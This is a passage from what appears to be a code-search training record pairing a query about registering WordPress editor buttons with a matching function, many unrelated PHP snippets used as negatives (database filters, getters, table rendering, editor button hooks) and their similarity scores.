if($atendimentoDomicilio == true){\n $condicoes['UnidadeAtendimento.atendimento_domicilio'] = true;\n }\n\n \n $filtro->setJoins($joins);\n $filtro->setTipo('all');\n $filtro->setCamposRetornadosString('id', 'nome');\n $filtro->setCamposOrdenados('UnidadeAtendimento.id');\n $filtro->setCondicoes($condicoes);\n\n\n $resultado = $this->listar($filtro);\n \n\n if($municipiosProximos == true){\n \n\n $joins2[] = array(\n 'table' => 'unidade_atendimento_cid',\n 'alias' => 'UnidadeAtendimentoCid',\n 'type' => 'inner',\n 'conditions' => array('UnidadeAtendimentoCid.unidade_atendimento_id = UnidadeAtendimento.id')\n );\n\n $joins2[] = array(\n 'table' => 'unidade_atendimento_municipio',\n 'alias' => 'UnidadeAtendimentoMunicipio',\n 'type' => 'inner',\n 'conditions' => array('UnidadeAtendimentoMunicipio.unidade_atendimento_id = UnidadeAtendimento.id')\n );\n\n $filtro2 = new BSFilter();\n $condicoes2 = array(); \n\n // $condicoes2['UnidadeAtendimentoCid.cid_id'] = $cidId;\n if(isset($cids) && !empty($cids)){\n $condicoes2['UnidadeAtendimentoCid.cid_id in'] = $cids;\n }\n $condicoes2['UnidadeAtendimentoMunicipio.municipio_id'] = $municipio;\n $condicoes2['UnidadeAtendimento.atendimento_domicilio'] = true;\n $filtro2->setJoins($joins2);\n $filtro2->setTipo('all');\n $filtro2->setCamposRetornadosString('id', 'nome');\n $filtro2->setCamposOrdenados('UnidadeAtendimento.id');\n $filtro2->setCondicoes($condicoes2);\n $filtro2->setCamposAgrupados('UnidadeAtendimento.id');\n\n $resultado2 = $this->listar($filtro2);\n $resultado = array_merge($resultado, $resultado2);\n }\n\n $retorno = array();\n foreach ($resultado as $registro) {\n $retorno[$registro['UnidadeAtendimento']['id']] = $registro['UnidadeAtendimento']['nome'];\n }\n\n // return $this->listar($filtro);\n // pr($retorno);die;\n return $retorno;\n }", "public function actionColaborador(){\n\t\t//total comunicaciones\n\n\n\t\tif( Yii::app()->user->rol == 3 || Yii::app()->user->rol == 1 || Yii::app()->user->rol == 2){\n\t\t\t$edicion = Dato::model()->find('clave = \"edicion\"');\n\t\t\t$comunicaciones = $this->totalComunicaciones();\n\n\t\t\t$norevisadas = $this->pendientesRevisar();\n\n\t\t\t$revisadas = $this->revisadas();\n\n\t\t\t$inscritos = $this->totalInscritos();\n\t\t\n\t\t\t$this->render('colaborador', array('comunicaciones'=>$comunicaciones,'norevisadas'=>$norevisadas, 'revisadas' => $revisadas,'edicion' => $edicion->valor));\n\t\t}else{\n\t\t\tYii::app()->end();\n\t\t}\n\t}", "public function getCustas() {\n return $this->aCustas;\n }", "function getRelaciones() {\n //arreglo relacion de tablas\n //---------------------------->DEPARTAMENTO(OPERADOR)\n $relacion_tablas['departamento']['ope_id']['tabla'] = 'operador';\n $relacion_tablas['departamento']['ope_id']['campo'] = 'ope_id';\n $relacion_tablas['departamento']['ope_id']['remplazo'] = 'ope_nombre';\n //---------------------------->DEPARTAMENTO(OPERADOR)\n //---------------------------->DEPARTAMENTO(REGION)\n $relacion_tablas['departamento']['der_id']['tabla'] = 'departamento_region';\n $relacion_tablas['departamento']['der_id']['campo'] = 'der_id';\n $relacion_tablas['departamento']['der_id']['remplazo'] = 'der_nombre';\n //---------------------------->DEPARTAMENTO(REGION)\n //---------------------------->MUNICIPIO(DEPARTAMENTO)\n $relacion_tablas['municipio']['dep_id']['tabla'] = 'departamento';\n $relacion_tablas['municipio']['dep_id']['campo'] = 'dep_id';\n $relacion_tablas['municipio']['dep_id']['remplazo'] = 'dep_nombre';\n //---------------------------->MUNICIPIO(DEPARTAMENTO)\n //---------------------------->CIUDAD\n $relacion_tablas['ciudad']['Id_Pais']['tabla'] = 'pais';\n $relacion_tablas['ciudad']['Id_Pais']['campo'] = 'Id_Pais';\n $relacion_tablas['ciudad']['Id_Pais']['remplazo'] = 'Nombre_Pais';\n //---------------------------->CIUDAD\n //---------------------------->CUENTAS\n $relacion_tablas['cuentas_financiero']['cft_id']['tabla'] = 'cuentas_financiero_tipo';\n $relacion_tablas['cuentas_financiero']['cft_id']['campo'] = 'cft_id';\n $relacion_tablas['cuentas_financiero']['cft_id']['remplazo'] = 'cft_nombre';\n //---------------------------->CUENTAS\n //---------------------------->CUENTAS UT\n $relacion_tablas['cuentas_financiero_ut']['cft_id']['tabla'] = 'cuentas_financiero_tipo';\n $relacion_tablas['cuentas_financiero_ut']['cft_id']['campo'] = 'cft_id';\n $relacion_tablas['cuentas_financiero_ut']['cft_id']['remplazo'] = 'cft_nombre';\n //---------------------------->CUENTAS UT\n //---------------------------->MOVIMIENTOS\n $relacion_tablas['extracto_movimiento']['mov_tipo_id']['tabla'] = 'extractos_movimiento_tipo';\n $relacion_tablas['extracto_movimiento']['mov_tipo_id']['campo'] = 'mov_tipo_id';\n $relacion_tablas['extracto_movimiento']['mov_tipo_id']['remplazo'] = 'mov_tipo_desc';\n //---------------------------->MOVIMIENTOS\n //---------------------------->CENTROS POBLADOS\n $relacion_tablas['centropoblado']['mun_id']['tabla'] = 'municipio';\n $relacion_tablas['centropoblado']['mun_id']['campo'] = 'mun_id';\n $relacion_tablas['centropoblado']['mun_id']['remplazo'] = 'mun_nombre';\n //---------------------------->CENTROS POBLADOS\n //---------------------------->TIPO HALLAZGO\n $relacion_tablas['tipohallazgo']['idAreaHallazgo']['tabla'] = 'areashallazgospendientes';\n $relacion_tablas['tipohallazgo']['idAreaHallazgo']['campo'] = 'idAreaHallazgo';\n $relacion_tablas['tipohallazgo']['idAreaHallazgo']['remplazo'] = 'descripcion';\n //---------------------------->TIPO HALLAZGO\n\n return $relacion_tablas;\n }", "function obtener_horarios_ocupados_por_aula ($aula, $horarios_ocupados){\n $fin=FALSE;\n $i=0;\n $longitud=count($horarios_ocupados);\n \n while ($i<$longitud && !$fin){\n $elemento=$horarios_ocupados[$i];\n if(strcmp($elemento[0]['id_aula'], $aula['id_aula']) == 0){\n $fin=TRUE;\n }\n \n $i += 1;\n }\n \n return $elemento; // indice => Array ( 0 => Array(), 1 => Array() ... )\n }", "function setColeccion() {\n $this->query = \"SELECT * FROM PROFESOR\";\n $this->datos = BDConexionSistema::getInstancia()->query($this->query);\n\n for ($x = 0; $x < $this->datos->num_rows; $x++) {\n $this->addElemento($this->datos->fetch_object(\"Profesor\"));\n }\n }", "public function listar_ordenescompras()\n {\n $this->db->join('proveedores','proveedores.idproveedor=ordencompra.idprovedor');\n return $this->db->get('ordencompra')->result();\n }", "function getAllFromProizvod(){\n\t\treturn $this->ime . \"&nbsp\" . $this->imeProizvođača . \"&nbsp\" \n\t\t. $this->prezimeProizvođača . \"&nbsp\" . $this->cijena;\n\t}", "public function test_medio_boleto_trasbordo_CUVP(){\n $tiempo = new Tiempo();\n $tiempo->avanzar( 36000 );\n $medio_boleto = new Tarjeta_Medio_Boleto( Null );\n $colectivo = new Colectivo( 'mixta', '133', 420 );\n $colectivo2 = new Colectivo( 'mixta', '102', 421 );\n\t\t\n $medio_boleto->recargar( 50.0 );\n $boleto = $medio_boleto->pagarConTarjeta( $colectivo , $tiempo );\n\t\t\n $this->assertEquals( $boleto->getValor(), $this->getCostoMedioBoleto() );\n $medio_boleto->gastarPlus();\n\t\t\n $tiempo->avanzar( 300 );\n $boleto = $medio_boleto->pagarConTarjeta( $colectivo2 , $tiempo );\n\t\t\n $this->assertEquals( $boleto->getValor(), $this->getCostoViaje() );\n }", "public function getDados() {\n\n $oDadosMatricula = new stdClass();\n $iCodigoMatricula = $this->oMatricula->getCodigo();\n $iCodigoAluno = $this->oMatricula->getAluno()->getCodigoAluno();\n $iCodigoTurma = $this->oMatricula->getTurma()->getCodigo();\n $iCodigoEnsino = $this->oMatricula->getTurma()->getBaseCurricular()->getCurso()\n ->getEnsino()->getCodigo();\n $oDadosMatricula->codigo_matricula = $this->oMatricula->getMatricula();\n $oDadosMatricula->data_matricula = $this->oMatricula->getDataMatricula()->convertTo(DBDate::DATA_EN);\n $oDadosMatricula->situacao_matricula = utf8_encode($this->oMatricula->getSituacao());\n if ($this->oMatricula->getTipo() == 'R' && $this->oMatricula->getSituacao() == 'MATRICULADO') {\n $oDadosMatricula->situacao_matricula = utf8_encode(\"REMATRICULADO\");\n }\n if ($this->oMatricula->isConcluida()) {\n $oDadosMatricula->situacao_matricula .= \" (\".utf8_encode(\"CONCLUÍDA\").\")\";\n }\n $oDadosMatricula->etapa_matricula = utf8_encode($this->oMatricula->getEtapaDeOrigem()->getNome());\n $oDadosMatricula->turma_matricula = utf8_encode($this->oMatricula->getTurma()->getDescricao());\n $oDadosMatricula->turma_turno = utf8_encode($this->oMatricula->getTurma()->getTurno()->getDescricao());\n $oDadosMatricula->turma_calendario = utf8_encode($this->oMatricula->getTurma()->getCalendario()->getDescricao());\n $oDadosMatricula->turma_escola = utf8_encode($this->oMatricula->getTurma()->getEscola()->getNome());\n $oDadosMatricula->data_saida = '';\n if ($this->oMatricula->getDataEncerramento() != \"\") {\n $oDadosMatricula->data_saida = $this->oMatricula->getDataEncerramento()->convertTo(DBDate::DATA_EN);\n }\n\n\n $oDadosMatricula->periodos_etapa = $this->getPeridosEtapa();\n $oDadosMatricula->grade_aproveitamento = $this->getGradeAproveitamento();\n $oDadosMatricula->resultado_final_etapa = utf8_encode(ResultadoFinal($iCodigoMatricula,\n $iCodigoAluno,\n $iCodigoTurma,\n $this->oMatricula->getSituacao(),\n $this->oMatricula->isConcluida()?'S':'N',\n $iCodigoEnsino\n ));\n $oDadosMatricula->atividades_complementares = $this->getAtividadesComplementares();\n return $oDadosMatricula;\n }", "public function condicionesFiltros($filtros = null)\n\t{\n\t\t$condiciones\t\t= array();\n\t\tif ( ! empty($filtros['filtro']) )\n\t\t{\n\t\t\t// LIBRE\n\t\t\tif ( ! empty($filtros['filtro']['buscar']) )\n\t\t\t{\n\t\t\t\t// Cuando la busqueda libre es un numero\n\t\t\t\tif ( is_numeric($filtros['filtro']['buscar']) )\n\t\t\t\t{\n\t\t\t\t\tarray_push($condiciones, array(\n\t\t\t\t\t\t'OR'\t=> array(\n\t\t\t\t\t\t\t'Compra.id'\t\t\t\t\t=> $filtros['filtro']['buscar'],\n\t\t\t\t\t\t\t'Compra.total'\t\t\t\t=> $filtros['filtro']['buscar'],\n\t\t\t\t\t\t\t'Usuario.celular'\t\t\t=> $filtros['filtro']['buscar'],\n\t\t\t\t\t\t)\n\t\t\t\t\t));\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\tarray_push($condiciones, array(\n\t\t\t\t\t\t'OR'\t=> array(\n\t\t\t\t\t\t\t'[Usuario].[nombre] + [Usuario].[apellido_paterno] + [Usuario].[apellido_materno] + [Usuario].[email] LIKE' => sprintf('%%%s%%', $filtros['filtro']['buscar'])\n\t\t\t\t\t\t)\n\t\t\t\t\t));\n\t\t\t\t}\n\t\t\t}\n\t\t\t// FECHA INICIAL\n\t\t\tif ( ! empty( $filtros['filtro']['fecha_min']) )\n\t\t\t{\n\t\t\t\t/** Se agrega la condicion al arreglo */\n\t\t\t\tarray_push($condiciones, array(\n\t\t\t\t\t'OR'\t=> array(\n\t\t\t\t\t\t'Compra.created >='\t\t=> sprintf('%s 00:00:00', $filtros['filtro']['fecha_min'])\n\t\t\t\t\t)\n\t\t\t\t));\n\t\t\t}\n\t\t\t// FECHA FINAL\n\t\t\tif ( ! empty( $filtros['filtro']['fecha_max']) )\n\t\t\t{\n\t\t\t\t/** Se agrega la condicion al arreglo */\n\t\t\t\tarray_push($condiciones, array(\n\t\t\t\t\t'OR'\t=> array(\n\t\t\t\t\t\t'Compra.created <= '\t=> sprintf('%s 23:59:59', $filtros['filtro']['fecha_max'])\n\t\t\t\t\t)\n\t\t\t\t));\n\t\t\t}\n\t\t\t// ESTADO COMPRA\n\t\t\tif ( ! empty( $filtros['filtro']['estado']) )\n\t\t\t{\n\t\t\t\tarray_push($condiciones, array(\n\t\t\t\t\t'OR'\t=> array(\n\t\t\t\t\t\t'Compra.estado_compra_id'\t=> $filtros['filtro']['estado']\n\t\t\t\t\t)\n\t\t\t\t));\n\t\t\t}\n\t\t\t// RANGO ID\n\t\t\tif ( ! empty($filtros['filtro']['oc_min']) )\n\t\t\t{\n\t\t\t\tarray_push($condiciones, array(\n\t\t\t\t\t'AND'\t=> array(\n\t\t\t\t\t\t'Compra.id >='\t\t=> $filtros['filtro']['oc_min'],\n\t\t\t\t\t\t'Compra.id <='\t\t=> $filtros['filtro']['oc_max']\n\t\t\t\t\t)\n\t\t\t\t));\n\t\t\t}\n\t\t\t// RANGO VALOR\n\t\t\tif ( ! empty($filtros['filtro']['monto_min']) )\n\t\t\t{\n\t\t\t\tarray_push($condiciones, array(\n\t\t\t\t\t'AND'\t=> array(\n\t\t\t\t\t\t'Compra.total >='\t\t=> $filtros['filtro']['monto_min'],\n\t\t\t\t\t\t'Compra.total <='\t\t=> $filtros['filtro']['monto_max']\n\t\t\t\t\t)\n\t\t\t\t));\n\t\t\t}\n\t\t}\n\t\tif ( ! empty($condiciones) )\n\t\t{\n\t\t\treturn $condiciones;\n\t\t}\n\t\treturn false;\n\t}", "private function _getMCMontaggioOLD()\n {\n $mc = 0;\n foreach ($this->lista_arredi as $arredo)\n {\n if ($arredo->getServizioMontaggio())\n {\n $tmp = $arredo->getMC();\n if ($arredo->getParametroB() == Arredo::MONTATO_PIENO)\n {\n $tmp = $tmp * $arredo->getCampo(Arredo::MONTATO_PIENO);\n $mc+= $tmp;\n\n }\n\n if ($arredo->getParametroB() == Arredo::MONTATO_VUOTO)\n {\n $tmp = $tmp * $arredo->getCampo(Arredo::MONTATO_VUOTO);\n $mc+= $tmp;\n\n }\n }\n\n }\n\n return $mc;\n }", "function get_tipos_espacios_mtrx()\n\t{\n\t\t$ef = new Tipo_espacio();\n\t\t$ef->order_by('tag');\n\t\t$ef->get();\n\t\tif($ef->c_rows>0){\n\t\t\t$colect[0]=\"TODOS\";\n\t\t\tforeach($ef->all as $row){\n\t\t\t\t$colect[$row->id]=$row->tag;\n\t\t\t}\n\t\t\treturn $colect;\n\t\t} else\n\t\t\treturn 0;\n\t}", "public function getVotosComentarios()\n {\n return $this->hasMany(VotoComentario::className(), ['usuario_id' => 'id'])->inverseOf('usuario');\n }", "function retornaEscolhidos($vetorComcadastros, $vetorComIndices){\n $limite = count($vetorComIndices);//limite conta quantos indices tem\n cabeçalhoTabela();//imprime o cabeçalho da tabela\n for($x=0; $x<$limite; $x++){//executa um for que percorre todos os indices do Vetor com os indices\n $y = $vetorComIndices[$x];//$y é igual indice do primeiro cadastro\n echo \"<tr>\";//cria linha na tabela\n echo \"<th scope='row'>$y</th>\";//escreve qual é o indice\n foreach ($vetorComcadastros[$y] as $string){//percorre todos os dados do cadastro com indice $y\n echo \"<td>$string</td>\";//cria uma celula e dentro escreve o dado\n }\n echo \"<td>\",botaoAlterar($y),\"</td>\";//cria uma celula e põe dentro o botão alterar com o indice que ele deve alterar caso clicado\n echo \"<td>\",botaoExcluir($y),\"</td>\";\n echo \"</tr>\";//finaliza a linha\n }\n echo \"</tbody>\";//encerra o corpo da tabela\n echo \"</table>\";//encerra a tabela\n }", "function ordenarEstudiantesClasificados($estudiantes_clasificados){\n // Obtener una lista de columnas\n foreach ($estudiantes_clasificados as $key => $row) {\n $nivel[$key] = $row['CLASIFICACION'];\n $codigos[$key] = $row['COD_ESTUDIANTE'];\n }\n\n // Ordenar los datos con nivel ascendente, codigos ascendente\n // Agregar $datos como el último parámetro, para ordenar por la llave común\n array_multisort($nivel, SORT_ASC, $codigos, SORT_ASC, $estudiantes_clasificados);\n \n //adicionamos ID a cada estudiante\n foreach ($estudiantes_clasificados as $key3 => $informacion){\n $estudiantes_clasificados[$key3]['ID'] = $key3+1;\n }\n return $estudiantes_clasificados;\n }", "function consultarenviodetallesCedula (){\n\t\t$x = $this->pdo->prepare('SELECT En.empresa,En.telefono,En.fechaEnvio,Cl.cedula FROM enviodetalles EN INNER JOIN cliente Cl ON En.cedulaCliente = Cl.cedula');\n\t\t$x->execute();\n\t\treturn $x->fetchALL(PDO::FETCH_OBJ);\n\t}" ]
[ "0.67039967", "0.6294754", "0.61812663", "0.5928388", "0.58239144", "0.5762358", "0.5701234", "0.56961536", "0.5670446", "0.5667803", "0.56558764", "0.5645068", "0.56385785", "0.56296915", "0.5628131", "0.5603426", "0.55878574", "0.5580825", "0.55696565", "0.556276", "0.553342", "0.55170476", "0.55166894", "0.55117697", "0.5488694", "0.54832107", "0.54802716", "0.5479833", "0.5468979", "0.5468979", "0.5468573", "0.5467752", "0.54622257", "0.5449091", "0.5442107", "0.54399866", "0.5438801", "0.54314405", "0.5428292", "0.5426542", "0.5423963", "0.5408756", "0.5403074", "0.5393477", "0.5391363", "0.5390726", "0.5373651", "0.5368057", "0.53642154", "0.5364059", "0.53631026", "0.5362669", "0.53414446", "0.5340259", "0.53374213", "0.53363556", "0.5324417", "0.53123313", "0.5311553", "0.5311546", "0.5304041", "0.53037584", "0.5298508", "0.5296764", "0.5291194", "0.52896255", "0.52886176", "0.52869886", "0.5279364", "0.5273305", "0.5271687", "0.52684295", "0.5263882", "0.5255552", "0.52532893", "0.5253053", "0.5249606", "0.5247285", "0.5244437", "0.5242517", "0.5241561", "0.52409166", "0.5238354", "0.52351826", "0.5232393", "0.5230307", "0.5228998", "0.5228361", "0.5225842", "0.5221346", "0.52204335", "0.5215351", "0.52140653", "0.5213155", "0.5210348", "0.5206934", "0.5206923", "0.5206394", "0.5205298", "0.52051836", "0.51976985" ]
0.0
-1
add each button here and on js page
function gwtb_register_buttons_editor($buttons) { array_push($buttons, "gwtb_button"); return $buttons; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "protected function generateButtons() {}", "public function addsButtons() {}", "private function loadButtons()\n {\n $objAdd = $this->addButtonNew(_FEST);\n $objAdd->setInline();\n }", "function listButtons() {\n\t}", "protected function bind_action_buttons() {\n\t\t\t?>\n\t\t\t<script type='text/javascript'>\n\t\t\t\tjQuery(document).ready(function () {\n\t\t\t\t\tjQuery(\"#doaction\").click(function () {\n\t\t\t\t\t\treturn wpda_action_button();\n\t\t\t\t\t});\n\t\t\t\t\tjQuery(\"#doaction2\").click(function () {\n\t\t\t\t\t\treturn wpda_action_button();\n\t\t\t\t\t});\n\t\t\t\t});\n\t\t\t</script>\n\t\t\t<?php\n\t\t}", "public function addButtons()\n {\n if (!Mage::getSingleton('sheep_subscription/adminhtml_acl')->canEditSubscription()) {\n return;\n }\n\n /** @var Sheep_Subscription_Model_Subscription $subscription */\n $subscription = $this->_getModel();\n /** @var Sheep_Subscription_Model_Service $service */\n $service = Mage::getSingleton('sheep_subscription/service');\n\n if ($service->canBeCancelled($subscription)) {\n $this->addButton('cancel', array(\n 'label' => 'Cancel',\n 'onclick' => \"window.setLocation('{$this->getCancelUrl()}')\"\n ));\n }\n\n if ($service->canBePaused($subscription)) {\n $this->addButton('pause', array(\n 'label' => $this->__('Pause'),\n 'onclick' => \"window.setLocation('{$this->getPauseUrl()}')\"\n ));\n }\n\n if ($service->canBeResumed($subscription)) {\n $this->addButton('resume', array(\n 'label' => 'Resume',\n 'onclick' => \"window.setLocation('{$this->getResumeUrl()}')\"\n ));\n }\n }", "protected function buttons()\r\n\t{\r\n\t\t$this->buttons = new stdClass();\r\n\t\t$buttonProperties = array('class' => 'fabrikTip', 'opts' => \"{notice:true}\", 'title' => '<span>'.JText::_('COM_FABRIK_EXPORT_TO_CSV').'</span>');\r\n\t\t$this->buttons->csvexport = FabrikHelperHTML::image('csv-export.png', 'list', $this->tmpl, $buttonProperties);\r\n\t\t$buttonProperties['title'] = '<span>'.JText::_('COM_FABRIK_IMPORT_FROM_CSV').'</span>';\r\n\t\t$this->buttons->csvimport = FabrikHelperHTML::image('csv-import.png', 'list', $this->tmpl, $buttonProperties);\r\n\t\t$buttonProperties['title'] = '<span>'.JText::_('COM_FABRIK_SUBSCRIBE_RSS').'</span>';\r\n\t\t$this->buttons->feed = FabrikHelperHTML::image('feed.png', 'list', $this->tmpl, $buttonProperties);\r\n\t\t$buttonProperties['title'] = '<span>'.JText::_('COM_FABRIK_EMPTY').'</span>';\r\n\t\t$this->buttons->empty = FabrikHelperHTML::image('trash.png', 'list', $this->tmpl, $buttonProperties);\r\n\r\n\t\t$buttonProperties['title'] = '<span>'.JText::_('COM_FABRIK_GROUP_BY').'</span>';\r\n\t\t$this->buttons->groupby = FabrikHelperHTML::image('group_by.png', 'list', $this->tmpl, $buttonProperties);\r\n\r\n\t\t$buttonProperties['title'] = '<span>'.JText::_('COM_FABRIK_FILTER').'</span>';\r\n\t\t$this->buttons->filter = FabrikHelperHTML::image('filter.png', 'list', $this->tmpl, $buttonProperties);\r\n\r\n\t\t$buttonProperties['title'] = '<span>'.JText::_('COM_FABRIK_ADD').'</span>';\r\n\t\t$this->buttons->add = FabrikHelperHTML::image('add.png', 'list', $this->tmpl, $buttonProperties);\r\n\t}", "protected function registerButtons() {}", "protected function registerButtons() {}", "function register_script($plugins) {\n\t\tforeach($this->buttons as $button_group) {\n\t\t\t$button_id = $button_group[0]->get_id();\n\t\t\t$plugins[$button_id] = admin_url('admin-ajax.php?action=tinymce_button_script&button=' . $button_id);\n\t\t}\n\t\treturn $plugins;\n\t}", "public function add_quicktag_button_script() {\n\t\t$current_screen = get_current_screen();\n\t\tif ( empty( self::$buttons_data ) || ! isset( $current_screen->parent_base ) || $current_screen->parent_base != 'edit' ) {\n\t\t\treturn;\n\t\t}\n\n\t\twp_enqueue_script( $this->handle );\n\t\twp_enqueue_style( 'wp-jquery-ui-dialog' );\n\t\twp_localize_script( $this->handle, 'shortcodeButtonsl10n', array_reverse( self::$buttons_data ) );\n\n\t\tself::$buttons_data = array();\n\t}", "protected function generateButtons()\n {\n $arrButtons = array();\n\n // Add \"update cart\" button\n $arrButtons['update'] = array(\n 'type' => 'submit',\n 'name' => 'button_update',\n 'label' => $GLOBALS['TL_LANG']['MSC']['updateCartBT'],\n );\n\n // Add button to cart button (usually if not on the cart page)\n if ($this->iso_cart_jumpTo > 0) {\n $objJumpToCart = \\PageModel::findByPk($this->iso_cart_jumpTo);\n\n if (null !== $objJumpToCart) {\n $arrButtons['cart'] = array(\n 'type' => 'submit',\n 'name' => 'button_cart',\n 'label' => $GLOBALS['TL_LANG']['MSC']['cartBT'],\n 'href' => \\Controller::generateFrontendUrl($objJumpToCart->row()),\n );\n\n if (\\Input::post('FORM_SUBMIT') == $this->strFormId && \\Input::post('button_cart') != '') {\n $this->jumpToOrReload($this->iso_cart_jumpTo);\n }\n }\n }\n\n // Add button to checkout page\n if ($this->iso_checkout_jumpTo > 0 && !Isotope::getCart()->hasErrors()) {\n $objJumpToCheckout = \\PageModel::findByPk($this->iso_checkout_jumpTo);\n\n if (null !== $objJumpToCheckout) {\n $arrButtons['checkout'] = array(\n 'type' => 'submit',\n 'name' => 'button_checkout',\n 'label' => $GLOBALS['TL_LANG']['MSC']['checkoutBT'],\n 'href' => \\Controller::generateFrontendUrl($objJumpToCheckout->row()),\n );\n\n if (\\Input::post('FORM_SUBMIT') == $this->strFormId && \\Input::post('button_checkout') != '') {\n $this->jumpToOrReload($this->iso_checkout_jumpTo);\n }\n }\n }\n\n if ($this->iso_continueShopping && $this->Input->get('continue') != '') {\n $arrButtons['continue'] = array(\n 'type' => 'submit',\n 'name' => 'button_continue',\n 'label' => $GLOBALS['TL_LANG']['MSC']['continueShoppingBT'],\n 'href' => ampersand(base64_decode($this->Input->get('continue', true))),\n );\n\n if (\\Input::post('FORM_SUBMIT') == $this->strFormId && \\Input::post('button_continue') != '') {\n \\Controller::redirect($arrButtons['continue']['href']);\n }\n }\n\n return $arrButtons;\n }", "protected function _addButtons()\r\n\t{\r\n\t\t$model = $this->getModel();\r\n\t\t$params\t= $model->getParams();\r\n\t\t$this->showEmail = $params->get('email', 0);\r\n\t\t$this->emailLink = '';\r\n\t\t$this->printLink = '';\r\n\t\t$this->pdfLink = '';\r\n\t\t$this->showPrint = $params->get('print', 0);\r\n\r\n\t\tif ($this->showPrint) {\r\n\t\t\t$text = JHTML::_('image.site', 'printButton.png', '/images/', NULL, NULL, JText::_('Print'));\r\n\t\t\t$this->printLink = '<a href=\"#\" onclick=\"window.print();return false;\">'.$text.'</a>';\r\n\t\t}\r\n\r\n\t\tif (JRequest::getVar('tmpl') != 'component') {\r\n\t\t\tif ($this->showEmail) {\r\n\t\t\t\t$this->emailLink = FabrikHelperHTML::emailIcon($model, $params);\r\n\t\t\t}\r\n\r\n\t\t\tif ($this->showPrint) {\r\n\t\t\t\t$this->printLink = FabrikHelperHTML::printIcon($model, $params, $model->_rowId);\r\n\t\t\t}\r\n\r\n\t\t\t$this->showPDF = $params->get('pdf', 0);\r\n\t\t\tif ($this->showPDF) {\r\n\t\t\t\t$this->pdfLink = FabrikHelperHTML::pdfIcon($model, $params, $model->_rowId);\r\n\t\t\t}\r\n\t\t} else {\r\n\t\t\t$this->showPDF = false;\r\n\t\t}\r\n\t}", "protected function getButtons() {}", "protected function getButtons() {}", "protected function getButtons() {}", "protected function getButtons() {}", "protected function getButtons() {}", "protected function getButtons() {}", "protected function getButtons() {}", "protected function getButtons() {}", "protected function getButtons() {}", "protected function getButtons() {}", "protected function getButtons() {}", "protected function getButtons() {}", "protected function getButtons() {}", "protected function getButtons() {}", "protected function getButtons() {}", "protected function getButtons() {}", "protected function getButtons() {}", "function travelogue_buttons() {\n add_filter( \"mce_external_plugins\", \"travelogue_add_buttons\" );\n // add new buttons\n add_filter( 'mce_buttons', 'travelogue_register_buttons' );\n}", "protected function _prepareFilterButtons()\n {\n $this->addChild(\n 'refresh_button',\n 'Magento\\Backend\\Block\\Widget\\Button',\n ['label' => __('Refresh'), 'onclick' => \"{$this->getJsObjectName()}.doFilter();\", 'class' => 'task']\n );\n }", "function ind_add_buttons() {\n\t// Don't bother doing this stuff if the current user lacks permissions\n\tif( !current_user_can('edit_posts') && !current_user_can('edit_pages') ) return;\n\n\t// Add only in Rich Editor mode\n\tif( get_user_option('rich_editing') == 'true') {\n\t\n\t\t// add the button for wp21 in a new way\n\t\tadd_filter('mce_external_plugins', 'add_ind_script');\n\t\tadd_filter('mce_buttons', 'add_ind_button');\n\t}\n}", "public function button_init() {\n\t\tadd_filter( 'mce_buttons', array( $this, 'register_button' ) );\n\t\tadd_filter( 'mce_external_plugins', array( $this, 'add_button' ) );\n\t}", "public function add_media_buttons() {\n\t\t\t// Make sure to don't output white space between these buttons.\n\t\t\techo '<a href=\"#TB_inline?width=480&height=600&inlineId=wpseo_add_map\" class=\"thickbox button\" id=\"wpseo_add_map_button\"><span class=\"wpseo_media_icon wpseo_icon_map\"></span> ' . esc_html__( 'Map', 'yoast-local-seo' ) . '</a>';\n\n\t\t\techo '<a href=\"#TB_inline?width=480&inlineId=wpseo_add_address\" class=\"thickbox button\" id=\"wpseo_add_address_button\"><span class=\"wpseo_media_icon wpseo_icon_address\"></span> ' . esc_html__( 'Address', 'yoast-local-seo' ) . '</a>';\n\n\t\t\techo '<a href=\"#TB_inline?width=480&inlineId=wpseo_add_opening_hours\" class=\"thickbox button\" id=\"wpseo_add_opening_hours_button\"><span class=\"wpseo_media_icon wpseo_icon_opening_hours\"></span> ' . esc_html__( 'Opening hours', 'yoast-local-seo' ) . '</a>';\n\n\t\t\tif ( wpseo_has_multiple_locations() ) {\n\t\t\t\techo '<a href=\"#TB_inline?width=480&height=510&inlineId=wpseo_add_storelocator\" class=\"thickbox button\" id=\"wpseo_add_storelocator_button\"><span class=\"wpseo_media_icon wpseo_icon_storelocator\"></span> ' . esc_html__( 'Store locator', 'yoast-local-seo' ) . '</a>';\n\t\t\t}\n\t\t}", "function manipulate_insert_button($buttons) {\n $cNip= $this->user->gNIP;\n $data['upload']='upload_custom_grid';\n $js = $this->load->view('js/standard_js',$data,TRUE);\n\n $iframe = '<iframe name=\"v3_study_literatur_ad_frame\" id=\"v3_study_literatur_ad_frame\" height=\"0\" width=\"0\"></iframe>';\n \n $save_draft = '<button onclick=\"javascript:save_draft_btn_multiupload(\\'v3_study_literatur_ad\\', \\' '.base_url().'processor/plc/v3_study_literatur_ad?draft=true \\',this,true )\" id=\"button_save_draft_v3_study_literatur_ad\" class=\"ui-button-text icon-save\" >Save as Draft</button>';\n $save = '<button onclick=\"javascript:save_btn_multiupload(\\'v3_study_literatur_ad\\', \\' '.base_url().'processor/plc/v3_study_literatur_ad?company_id='.$this->input->get('company_id').'&group_id='.$this->input->get('group_id').'modul_id='.$this->input->get('modul_id').' \\',this,true )\" id=\"button_save_submit_v3_study_literatur_ad\" class=\"ui-button-text icon-save\" >Save &amp; Submit</button>';\n\n $AuthModul = $this->lib_plc->getAuthorModul($this->modul_id);\n $arrTeam = explode(',',$this->team);\n $nipAuthor = explode(',', $AuthModul['vNip_author']);\n\n if( in_array($AuthModul['vDept_author'],$arrTeam ) || in_array($this->user->gNIP, $nipAuthor) ){\n\n $buttons['save'] = $iframe.$save_draft.$save.$js;\n }else{\n unset($buttons['save']);\n $buttons['save'] = '<span style=\"color:red;\" title=\"'.$AuthModul['vDept_author'].'\">You\\'re Dept not Authorized</span>';\n }\n \n \n return $buttons;\n }", "function register_lp_button($buttons) {\n array_push($buttons, \"separator\", \"listingpress\", \"listingpress_vis\");\n return $buttons;\n}", "public function add_page_button($button) {\n $this->buttons[]=$button;\n }", "public function getButtons() {}", "public function getButtons() {}", "public function getButtons() {}", "public function getButtons() {}", "public function set_quicktags() {\n\n if (!wp_script_is('quicktags')) {\n return;\n }\n $post_type = get_post_type();\n\n echo '<script type=\"text/javascript\">';\n echo 'document.addEventListener(\"DOMContentLoaded\", function() {';\n foreach ($this->options['quicktags'] 